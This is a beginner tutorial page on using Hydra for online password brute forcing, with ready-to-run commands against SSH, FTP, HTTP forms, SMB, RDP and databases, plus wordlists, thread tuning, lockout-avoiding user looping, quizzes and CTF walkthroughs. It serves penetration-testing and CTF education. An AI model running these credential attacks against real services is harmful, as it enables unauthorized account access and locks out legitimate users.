kavklaw@llm ~ /guides/hydra

kavklaw@llm $ cat hydra-guide.md

Hydra โ€” Brute Force Attacks

๐ŸŸข Beginner

โฑ๏ธ 20 min read ยท Master online password cracking from basic syntax to advanced HTTP form attacks

โ† Back to Guides

โšก Quick Start

Need to brute force a login right now? Here are the most common commands. The -l flag sets a single username, -P points to a password wordlist file, and the last part specifies the protocol and target:

# SSH โ€” single user, wordlist password
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.100

# FTP โ€” try anonymous first, then brute force
hydra -l anonymous -p anonymous ftp://10.10.10.100
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.100

# HTTP POST form login
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  10.10.10.100 http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

# HTTP Basic Auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  10.10.10.100 http-get /admin/

That covers the most common scenarios. Now let's understand every option, handle edge cases, and learn when brute force is (and isn't) the right approach.

๐Ÿ”‘ How Password Authentication Works

Before diving into Hydra, it helps to understand what happens when you type a username and password into any service. At its core, authentication is simple: the client sends credentials to the server, and the server checks them against its stored records. If they match, you're in; if not, you get an error. That's the loop Hydra exploits โ€” it automates sending thousands of credential pairs and watches for a "success" response instead of a "failure" one.

But the way credentials travel differs by protocol, and this matters for how Hydra works:

  • SSH: A cryptographic handshake establishes an encrypted channel first, then the username and password are sent inside that tunnel. The server authenticates via its configured backend โ€” on Linux, that's usually local hashes in /etc/shadow through PAM, but it could also be LDAP, Kerberos, or other mechanisms. SSH is slow per attempt because of the crypto overhead, which is why you need fewer threads (-t 4).
  • HTTP POST forms: The browser sends a plain HTTP request with the username and password in the POST body (e.g., username=admin&password=test). The web application checks them against its database. This is fast โ€” web servers handle thousands of requests per second โ€” so you can use more threads (-t 64).
  • SMB: Windows uses a challenge-response mechanism (NTLM). The server sends a random challenge, the client hashes the password with that challenge and sends it back. The server does the same computation and compares. SMB is tricky because Active Directory tracks failed login attempts โ€” lockout policies vary by environment, but many domains configure low thresholds. (Entra Domain Services defaults to 5 attempts / 30 min lockout.)
  • FTP: Username and password are sent in plaintext over the wire. Simple protocol, moderate speed โ€” but many FTP servers allow anonymous access, so always check that first.

Online vs Offline Password Attacks

There are two fundamentally different approaches to cracking passwords, and confusing them is a common beginner mistake:

  • Online attacks (Hydra): You're trying passwords against a live service. Each attempt is a real login request over the network. You're limited by network speed, server response time, and rate limiting. Typical speed: 10-100 attempts per second for SSH, 1,000+ for HTTP.
  • Offline attacks (John/Hashcat): You've already obtained the password hashes (from a database dump, /etc/shadow, or SAM file). You hash candidates locally on your own hardware and compare. No network involved. Typical speed: billions per second for MD5 on a GPU.

The implication: online attacks require small, targeted wordlists because each attempt is slow and noisy. Offline attacks can exhaust massive wordlists because computation is local and fast. Hydra is your tool when you don't have the hashes; John/Hashcat are your tools when you do.

๐Ÿ”จ What Is Hydra?

Hydra (officially THC-Hydra) is a fast, parallelized, online password cracking tool. Brute forcing means systematically trying many username/password combinations until you find one that works. It supports over 50 protocols and is the standard tool for brute forcing network service logins. "Online" means it attacks live services by actually trying to log in, as opposed to "offline" tools like hashcat or John the Ripper that crack password hashes (scrambled password representations) from files you've already obtained.

Hydra is developed by The Hacker's Choice (THC) and comes pre-installed on Kali Linux. It supports protocols including:

  • SSH, Telnet, FTP, FTPS โ€” Remote access
  • HTTP-GET, HTTP-POST-FORM, HTTP-HEAD โ€” Web authentication
  • SMB, CIFS โ€” Windows file sharing
  • RDP โ€” Remote Desktop
  • MySQL, PostgreSQL, MSSQL, Oracle โ€” Databases
  • VNC โ€” Remote GUI access
  • SMTP, POP3, IMAP โ€” Email services
  • LDAP โ€” Directory services
  • SNMP โ€” Network management
  • Redis, Memcached โ€” Cache/DB services

The key strength of Hydra is its parallelism โ€” it can try multiple username/password combinations simultaneously across multiple connections, dramatically speeding up attacks.

Installation

Hydra comes pre-installed on Kali Linux and Parrot OS. For other systems:

# Debian/Ubuntu
sudo apt install hydra

# Fedora/RHEL
sudo dnf install hydra

# macOS (via Homebrew)
brew install hydra

# Build from source (latest features)
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra && ./configure && make && sudo make install

# Verify installation
hydra -h | head -5

What you'll need: A target service (IP + port), at least one username, and a password wordlist. The rockyou.txt wordlist ships with Kali at /usr/share/wordlists/rockyou.txt โ€” you may need to decompress it first with sudo gunzip /usr/share/wordlists/rockyou.txt.gz.

๐Ÿ“ Basic Syntax

Understanding Hydra's syntax is essential. Every command follows this pattern:

hydra [options] target protocol [module-options]

# Key options:
# -l LOGIN      Single username
# -L FILE       Username wordlist
# -p PASS       Single password  
# -P FILE       Password wordlist
# -s PORT       Custom port (if non-default)
# -t TASKS      Parallel connections (default: 16)
# -f            Stop after first valid pair found
# -V            Verbose โ€” show every attempt
# -vV           Very verbose โ€” show every attempt + info
# -o FILE       Write results to file
# -I            Ignore existing restore file
# -u            Loop around users, not passwords
# -e nsr        Try: n=null password, s=login as password, r=reversed login

Username & Password Options

# Single username + password wordlist (most common)
hydra -l admin -P wordlist.txt target ssh

# Username wordlist + single password
hydra -L users.txt -p Password123 target ssh

# Both wordlists
hydra -L users.txt -P passwords.txt target ssh

# Single username + single password (just testing)
hydra -l admin -p admin123 target ssh

# Try null password, login as password, reversed login
hydra -l admin -P wordlist.txt -e nsr target ssh
# This also tries: admin/(empty), admin/admin, admin/nimda
๐Ÿ’ก Pro Tip: Always use -e nsr alongside your wordlist. It adds three extra checks (null password, username as password, reversed username) that cost almost nothing but catch lazy credentials surprisingly often. admin/admin is still one of the most common default credentials.

๐Ÿ“š Wordlists

A brute force attack is only as good as its wordlist. Here are the ones you'll use most:

# rockyou.txt โ€” the classic (14 million passwords from the 2009 RockYou breach)
# May need to decompress first:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
wc -l /usr/share/wordlists/rockyou.txt
# 14,344,392 passwords

# SecLists โ€” curated wordlists for everything
sudo apt install seclists
ls /usr/share/seclists/Passwords/
# Common-Credentials/
# Default-Credentials/
# Leaked-Databases/
# Permutations/

# Top passwords (smaller, faster)
/usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
/usr/share/seclists/Passwords/Common-Credentials/best1050.txt
/usr/share/seclists/Passwords/darkweb2017-top10000.txt

# Default credentials by service
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
/usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt

# Username lists
/usr/share/seclists/Usernames/Names/names.txt
/usr/share/seclists/Usernames/top-usernames-shortlist.txt

Creating Custom Wordlists

# CeWL โ€” generate wordlist from target's website
cewl http://target.htb -d 3 -m 5 -w custom_wordlist.txt
# -d 3 = spider depth of 3
# -m 5 = minimum word length 5

# cupp โ€” Common User Passwords Profiler
cupp -i
# Interactive โ€” asks for target's name, birthday, pet, etc.
# Generates targeted password variations

# crunch โ€” generate wordlists by pattern
crunch 8 8 -t @@@@2024 -o custom.txt
# 8 char passwords ending in "2024" with 4 lowercase letters

# Combine and deduplicate
cat wordlist1.txt wordlist2.txt | sort -u > combined.txt
๐Ÿ’ก Pro Tip: Start small. Don't immediately throw rockyou.txt (14M passwords) at a service. Start with the top 1000, then 10k, then the full list. Many CTF passwords are intentionally in the top few thousand. Running the full rockyou at 16 threads against SSH can take hours.

๐Ÿ” SSH Brute Force

SSH is the most commonly brute-forced service in CTFs and real engagements.

# Basic SSH brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.100

# With custom port
hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://10.10.10.100

# Multiple usernames
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.100

# Reduce threads โ€” SSH often limits concurrent connections
hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 4 ssh://10.10.10.100

# Stop on first success
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f ssh://10.10.10.100

# Verbose โ€” see what's happening
hydra -l admin -P /usr/share/wordlists/rockyou.txt -vV -t 4 ssh://10.10.10.100
โš ๏ธ Important: SSH servers commonly throttle or block brute force attempts. OpenSSH's MaxStartups limits concurrent unauthenticated connections and MaxAuthTries limits attempts per connection โ€” exact values vary by server config. If Hydra shows many [ERROR] could not connect messages, reduce threads with -t 4 or even -t 1. Too many threads will get you blocked or produce false negatives.

๐Ÿ“ FTP Brute Force

FTP is a common target because it often allows anonymous access and has weak configurations.

# ALWAYS check anonymous access first
hydra -l anonymous -p anonymous ftp://10.10.10.100
# Or with an empty password:
hydra -l anonymous -p "" ftp://10.10.10.100

# Standard brute force
hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.100

# With verbose output
hydra -l admin -P passwords.txt -vV ftp://10.10.10.100

# Try default credentials
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt \
  ftp://10.10.10.100
# -C uses a colon-separated file (user:pass format)

Using -C for Colon-Separated Credential Files

# Create a credential file (user:pass format)
cat << 'EOF' > creds.txt
admin:admin
admin:password
root:root
ftp:ftp
anonymous:anonymous
test:test
EOF

# Use with -C (replaces -l/-L and -p/-P)
hydra -C creds.txt ftp://10.10.10.100

๐ŸŒ HTTP Form Attacks

This is where most beginners struggle. HTTP form brute forcing requires understanding the login form structure: what fields are submitted, what URL they go to, and how to tell success from failure.

Step 1: Analyze the Login Form

View the form source (browser: right-click โ†’ View Source). Look for:

<form action="/login" method="POST">
  <input type="text" name="username">
  <input type="password" name="password">
  <input type="submit" value="Login">
</form>

Key info needed:

  1. Form action URL: /login
  2. Method: POST
  3. Username field name: username
  4. Password field name: password
  5. Failure indicator: text that appears on FAILED login

Step 2: Capture a Failed Login

# Use curl to see what a failed login looks like
curl -X POST http://10.10.10.100/login \
  -d "username=admin&password=wrongpassword" -v

Look for failure indicators in the response: "Invalid credentials", "Login failed", "Incorrect password", "Invalid username or password", or a redirect to /login?error=1.

Also check with Burp Suite: Proxy โ†’ intercept the login request. This shows you EXACTLY what's being sent.

Step 3: Build the Hydra Command

Now you put it all together. The Hydra HTTP form syntax has three parts separated by colons: the URL path, the POST body with ^USER^ and ^PASS^ placeholders (which Hydra replaces with each username/password it tries), and the failure string (text that appears when login fails).

# HTTP POST form syntax:
# hydra ... http-post-form "/PATH:BODY:FAILURE_STRING"
#
# ^USER^ โ€” replaced with username
# ^PASS^ โ€” replaced with password

# Standard form login
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  10.10.10.100 http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

# With additional form fields (CSRF tokens, etc.)
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  10.10.10.100 http-post-form \
  "/login:username=^USER^&password=^PASS^&submit=Login:Invalid"

# HTTPS (use https-post-form)
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  10.10.10.100 https-post-form \
  "/login:username=^USER^&password=^PASS^:Login failed"

# With cookies (some forms require a session cookie)
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  10.10.10.100 http-post-form \
  "/login:username=^USER^&password=^PASS^:F=incorrect:H=Cookie: PHPSESSID=abc123"

# Using success string instead of failure string (S= prefix)
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  10.10.10.100 http-post-form \
  "/login:username=^USER^&password=^PASS^:S=Dashboard"

๐Ÿง  Knowledge Check โ€” Hydra Basics & HTTP Forms

Complete the Hydra command to brute force SSH as user "admin" with rockyou.txt:
$ hydra  ssh://10.10.10.100
The command is: hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.100. The key flags: -l (lowercase) is a single username, -P (uppercase) is a password wordlist file. Lowercase flags are single values, uppercase flags are file-based lists. For SSH, you should also add -t 4 to reduce threads (SSH rate limits connections).
When building an HTTP POST form attack in Hydra, what three pieces of information do you need?
HTTP form attacks require: (1) the form action URL path (e.g., /login), (2) the POST body with exact field names and ^USER^/^PASS^ placeholders (e.g., username=^USER^&password=^PASS^), and (3) the failure string โ€” text that appears on a FAILED login attempt. The syntax is: http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials". Getting the failure string wrong causes false positives or missed passwords.
Complete the Hydra module name for attacking an HTTP login form:
$ hydra -l admin -P wordlist.txt 10.10.10.100  "/login:user=^USER^&pass=^PASS^:Invalid"
The module is http-post-form for HTTP or https-post-form for HTTPS. The syntax requires three colon-separated parts: the path, the POST body (with ^USER^ and ^PASS^ placeholders), and the failure string. For HTTP GET requests with Basic Auth, use http-get instead. Mixing up http and https causes connection failures.
Why should you always use the -e nsr flag alongside your wordlist?
The -e nsr flag adds three nearly-free checks: n = try empty/null password, s = try username as password (admin/admin), r = try reversed username (admin/nimda). These catch default and lazy credentials that are surprisingly common. admin/admin is still one of the most common default credential pairs. These three checks cost almost nothing in time but can save you from running a full wordlist.
๐Ÿ’ก Pro Tip: The failure string is the most critical part. If it's wrong, Hydra will either report every attempt as successful or miss the real password. Test with a known-bad password first and note exactly what text appears. Use F= prefix for failure strings and S= for success strings. When in doubt, use a shorter, more unique failure string.

Handling Complex Forms

# JSON API login
hydra -l admin -P wordlist.txt \
  10.10.10.100 http-post-form \
  '/api/login:{"username"\:"^USER^","password"\:"^PASS^"}:F=unauthorized:H=Content-Type\: application/json'

# Form with custom headers
hydra -l admin -P wordlist.txt \
  10.10.10.100 http-post-form \
  "/login:user=^USER^&pass=^PASS^:F=failed:H=X-Forwarded-For\: 127.0.0.1"

# Non-standard port
hydra -l admin -P wordlist.txt -s 8080 \
  10.10.10.100 http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid"

# Follow redirects (use the :R parameter)
# Some apps redirect on success/failure โ€” this handles that

๐Ÿ”“ HTTP Basic Auth

HTTP Basic Authentication is simpler. The browser shows a popup asking for credentials, and they're sent as a Base64-encoded header.

# HTTP GET with Basic Auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  10.10.10.100 http-get /admin/

# HTTPS Basic Auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  10.10.10.100 https-get /admin/

# With custom port
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  -s 8080 10.10.10.100 http-get /protected/

๐Ÿ’ผ SMB Brute Force

SMB brute forcing targets Windows file sharing authentication. Be careful: Windows has account lockout policies.

# SMB brute force
hydra -l administrator -P /usr/share/wordlists/rockyou.txt \
  smb://10.10.10.100

# With domain
hydra -l admin -P wordlist.txt -m "WORKGROUP" \
  smb://10.10.10.100

# Multiple users โ€” use -u to loop users first
hydra -L users.txt -P passwords.txt -u smb://10.10.10.100
# -u tries user1:pass1, user2:pass1, user3:pass1 THEN user1:pass2...
# This avoids lockout by spreading attempts across users
โš ๏ธ Warning: SMB brute forcing can trigger account lockouts in Active Directory environments. Lockout policies vary โ€” some domains set low thresholds (3-5 attempts), others disable lockout entirely. Always check the domain's lockout policy first (net accounts /domain). Use -u to spread attempts across users, and consider password spraying (one password against many users) instead of traditional brute force.

๐Ÿ”Œ Other Protocols

RDP (Remote Desktop Protocol)

# RDP brute force
hydra -l administrator -P wordlist.txt rdp://10.10.10.100

# Note: RDP is slow and has lockout protection
# Use crowbar instead for better results:
crowbar -b rdp -s 10.10.10.100/32 -u administrator -C wordlist.txt

MySQL

# MySQL brute force
hydra -l root -P wordlist.txt mysql://10.10.10.100

# MySQL on non-standard port
hydra -l root -P wordlist.txt -s 3307 mysql://10.10.10.100

VNC

# VNC brute force (VNC typically has only a password, no username)
hydra -P wordlist.txt vnc://10.10.10.100

# VNC on custom port  
hydra -P wordlist.txt -s 5901 vnc://10.10.10.100

SMTP

# SMTP brute force (email server login)
hydra -l [email protected] -P wordlist.txt smtp://10.10.10.100

# SMTP VRFY โ€” enumerate valid users
hydra -L users.txt -p test smtp-enum://10.10.10.100

PostgreSQL

# PostgreSQL
hydra -l postgres -P wordlist.txt postgres://10.10.10.100

SNMP

# SNMP community string brute force
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt \
  10.10.10.100 snmp

โšก Speed & Parallel Tasks

Hydra's speed comes from running multiple login attempts in parallel. More threads aren't always better, though.

# Default: 16 parallel tasks
hydra -l admin -P wordlist.txt ssh://10.10.10.100

# Increase threads (for tolerant services like HTTP)
hydra -l admin -P wordlist.txt -t 64 10.10.10.100 http-post-form \
  "/login:user=^USER^&pass=^PASS^:Invalid"

# Decrease threads (for strict services like SSH)
hydra -l admin -P wordlist.txt -t 4 ssh://10.10.10.100

# Wait time between attempts (seconds)
hydra -l admin -P wordlist.txt -W 2 ssh://10.10.10.100

# Connection timeout (seconds)
hydra -l admin -P wordlist.txt -w 10 ssh://10.10.10.100

# Resume a stopped/crashed session
hydra -R  # Reads the hydra.restore file

Recommended Thread Counts

ProtocolMax ThreadsNotes
SSH4-8Rate limiting, MaxStartups
FTP8-16Connection limits vary
HTTP-Form32-64Web servers handle concurrency well
HTTP-GET (Basic)32-64Similar to forms
SMB4-8Account lockout risk
RDP1-4Very slow protocol, lockout risk
MySQL4-8Connection limits
VNC4Slow authentication

๐Ÿ”„ Alternatives

Hydra isn't the only online brute force tool. Here are alternatives with specific strengths:

Medusa

# Medusa โ€” modular brute forcer (similar to Hydra)
medusa -h 10.10.10.100 -u admin -P wordlist.txt -M ssh

# Medusa advantages:
# - More stable for some protocols
# - Better threading model
# - Module-based architecture

# Supported modules
medusa -d  # List all modules

Crowbar (Levye)

# Crowbar โ€” specialized for SSH keys and RDP
# Install:
sudo apt install crowbar

# RDP brute force (better than Hydra for RDP)
crowbar -b rdp -s 10.10.10.100/32 -u administrator -C wordlist.txt

# SSH with private key authentication
crowbar -b sshkey -s 10.10.10.100/32 -u root -k /path/to/keys/

# VNC
crowbar -b vnckey -s 10.10.10.100/32 -p password123

Patator

# Patator โ€” Python-based, very flexible
patator ssh_login host=10.10.10.100 user=admin \
  password=FILE0 0=wordlist.txt

# HTTP form
patator http_fuzz url=http://10.10.10.100/login method=POST \
  body='user=admin&pass=FILE0' 0=wordlist.txt \
  -x ignore:fgrep='Invalid credentials'

BurpSuite Intruder

For HTTP form attacks, Burp Suite's Intruder is often easier than Hydra โ€” you can visually set payload positions, use multiple payload sets, and see every response in detail. The free version is throttled but fine for CTFs.

๐Ÿค” When Brute Force Makes Sense

Brute force is a last resort, not a first step. Try everything else first:

Try Before You Brute Force

  • Default credentials โ€” check the service/product docs. Many devices ship with default passwords.
  • Credential reuse โ€” found creds elsewhere? Try them on other services.
  • Password in source code โ€” check HTML comments, JavaScript files, config files, .git directories.
  • SQL injection โ€” bypass authentication entirely.
  • Password reset flaws โ€” reset the password instead of guessing it.
  • Session hijacking โ€” steal an existing session.

When Brute Force IS Appropriate

  • You have a valid username but no password, and other approaches failed
  • The service has no lockout policy
  • You've found a pattern (e.g., company uses FirstnameYear! format)
  • CTF challenge explicitly hints at brute forcing
  • Password spraying: trying one common password against many users instead of many passwords against one user
  • Default credential checking (technically brute force, but very fast)

Rate Limiting & Detection Awareness

Signs you're being rate limited:

  • Hydra shows [ERROR] could not connect to target
  • Responses become very slow
  • You get "Too many connections" errors
  • Connection resets after N attempts

Mitigation: reduce threads (-t 1 or -t 2), add wait time (-W 5), use a smaller targeted wordlist, or consider password spraying instead.

Account lockout detection: if you see "Account locked" in responses, STOP. You're locking out legitimate users โ€” this is harmful in real engagements.

โš ๏ธ Important: In real-world penetration tests, always coordinate brute force attacks with the client. Account lockouts disrupt business. In CTFs, there are no such restrictions โ€” but the challenge usually doesn't require brute forcing the full rockyou.txt. If you're past 10,000 attempts without a hit, you're probably on the wrong track.

๐ŸŽฏ Real-World Methodology

Here's a systematic approach to online password attacks:

Password Attack Escalation Path
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
  Cheapest / Fastest                     Most Expensive / Slowest
       โ”‚                                         โ”‚
       โ–ผ                                         โ–ผ
  Default creds โ†’ Credential โ†’ Password โ†’ Targeted โ†’ Full
  admin/admin     reuse from   spraying   custom     rockyou.txt
  root/root       other finds  (1 pass    wordlist   (14M, last
  (seconds)       (seconds)    N users)   (CeWL)     resort)

Phase 1: Information Gathering

# 1. Identify the service and version
nmap -sV -p 22,80,21,445,3306 10.10.10.100

# 2. Check for default credentials
# Google: "[service name] [version] default credentials"
# Check: https://cirt.net/passwords
# Check: https://www.defaultpassword.com/

# 3. Enumerate valid usernames (if possible)
# SSH: some versions leak valid users via timing
# SMTP: VRFY command or RCPT TO enumeration
# Web: different error messages for valid vs invalid users
# SMB: enum4linux, rpcclient

# 4. Build targeted username list
echo -e "admin\nroot\nadministrator\nuser\ntest" > users.txt

Phase 2: Smart Attacks First

# 1. Try null/default credentials
hydra -l admin -e nsr ssh://10.10.10.100

# 2. Try known default credential lists
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt \
  ssh://10.10.10.100

# 3. Try credential reuse from other findings
# If you found admin:P@ssw0rd on the web app, try it on SSH
hydra -l admin -p 'P@ssw0rd' ssh://10.10.10.100

Phase 3: Targeted Brute Force

# 1. Start with small wordlist
hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/best1050.txt \
  -t 4 -f ssh://10.10.10.100

# 2. If no result, try top 10k
hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
  -t 4 -f ssh://10.10.10.100

# 3. Generate custom wordlist from target
cewl http://target.htb -d 2 -m 6 -w target_words.txt
# Mutate with rules
john --wordlist=target_words.txt --rules=best64 --stdout > mutated.txt
hydra -l admin -P mutated.txt -t 4 -f ssh://10.10.10.100

# 4. Last resort: rockyou.txt
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  -t 4 -f ssh://10.10.10.100

๐Ÿ† CTF Examples

Example 1: SSH with Hint

# Challenge hint: "The admin likes rock music"
# This tells you the password is probably in rockyou.txt

hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  -t 4 -f ssh://10.10.10.100
# [22][ssh] host: 10.10.10.100 login: admin password: rockstar

Example 2: Web Login Form

# 1. Inspect the form
curl http://10.10.10.100/login.php | grep -i "form\|input\|name="
# <form action="/login.php" method="post">
# <input name="user" type="text">
# <input name="pass" type="password">

# 2. Test a failed login
curl -X POST http://10.10.10.100/login.php \
  -d "user=admin&pass=wrong" -v 2>&1 | grep -i "invalid\|error\|failed"
# "Invalid username or password"

# 3. Brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  10.10.10.100 http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:Invalid username or password" -t 32 -f

Example 3: FTP Anonymous + Brute Force

# 1. Check anonymous first
hydra -l anonymous -p "" ftp://10.10.10.100
# [21][ftp] host: 10.10.10.100 login: anonymous password:

# 2. Anonymous works! Look for files
ftp 10.10.10.100  # login as anonymous
ftp> ls -la
ftp> get note.txt  # Found a note with username hints

# 3. Note says: "john, please change your password"
hydra -l john -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.100 -t 8

๐Ÿง  Knowledge Check โ€” Strategy & Speed

What is the recommended maximum number of threads (-t) for SSH brute forcing?
SSH should be limited to 4 threads (or at most 8). SSH servers have MaxStartups limits (default: 10:30:60 in OpenSSH) that restrict concurrent connections. Using too many threads causes connection errors, dropped attempts, and potentially false negatives (missing the real password). HTTP forms can handle 32-64 threads, but SSH is very sensitive to concurrency.
You've been brute forcing SSH with rockyou.txt for 2 hours with no results. What should you do?
If rockyou.txt hasn't found the password after 10,000+ attempts, you're probably on the wrong track. CTF passwords are typically in the top few thousand. Reconsider your approach: (1) Did you try default credentials? (2) Did you find credentials elsewhere to reuse? (3) Can you generate a custom wordlist from the target (CeWL)? (4) Is brute force even the intended path? Maybe there's an SQL injection, file inclusion, or other vulnerability you missed.
What is the correct order of operations for password attacks?
Always start with the cheapest, fastest checks: (1) Default credentials (admin/admin, root/root, etc.) take seconds. (2) Credential reuse from other findings (web config, database dump) is free. (3) Password spraying with company-specific patterns catches common weak passwords. (4) Targeted brute force with custom/small wordlists. (5) Full rockyou.txt as a last resort. Each step is more time-consuming and noisier than the last.
What flag makes Hydra stop after finding the first valid credential pair?
The -f flag tells Hydra to stop after finding the first valid login. Without it, Hydra continues trying every remaining password even after success โ€” wasting time and creating unnecessary noise in logs. Always use -f when you only need one valid credential pair (which is most situations).

โš ๏ธ Common Mistakes

โŒ Mistake #1: Wrong failure string in HTTP form attacks.
If your failure string doesn't match what the server actually returns, Hydra will report false positives (every password "works") or miss the real password. Always test with curl first and use an exact, unique substring from the failure response.
โŒ Mistake #2: Too many threads for SSH.
SSH servers limit concurrent connections (default MaxStartups: 10:30:60 in OpenSSH). Using -t 16 or higher causes connection errors and missed passwords. Use -t 4 for SSH.
โŒ Mistake #3: Starting with rockyou.txt.
14 million passwords ร— SSH speed = hours. Start with top 1000, then 10k, then custom wordlists. Only use rockyou.txt as a last resort. If the password isn't in the top 10k, you might be on the wrong track entirely.
โŒ Mistake #4: Not trying default credentials first.
Before any brute force, try admin/admin, admin/password, root/root, and service-specific defaults. Check the service documentation and default credential databases.
โŒ Mistake #5: Forgetting -f (stop on first success).
Without -f, Hydra continues trying passwords even after finding valid credentials. This wastes time and creates unnecessary noise. Always use -f when you only need one valid credential.
โŒ Mistake #6: Ignoring HTTPS vs HTTP.
If the login page is served over HTTPS, you need https-post-form, not http-post-form. Mixing these up causes connection failures that look like the target is down.
โŒ Mistake #7: Not checking for account lockout.
In real engagements, triggering account lockout is a finding โ€” but also disrupts the client's business. Check the lockout policy before brute forcing (net accounts /domain on Windows, or enumerate via LDAP). AD lockout thresholds are configurable and vary widely โ€” don't assume you know the limit.

๐Ÿ“š Further Reading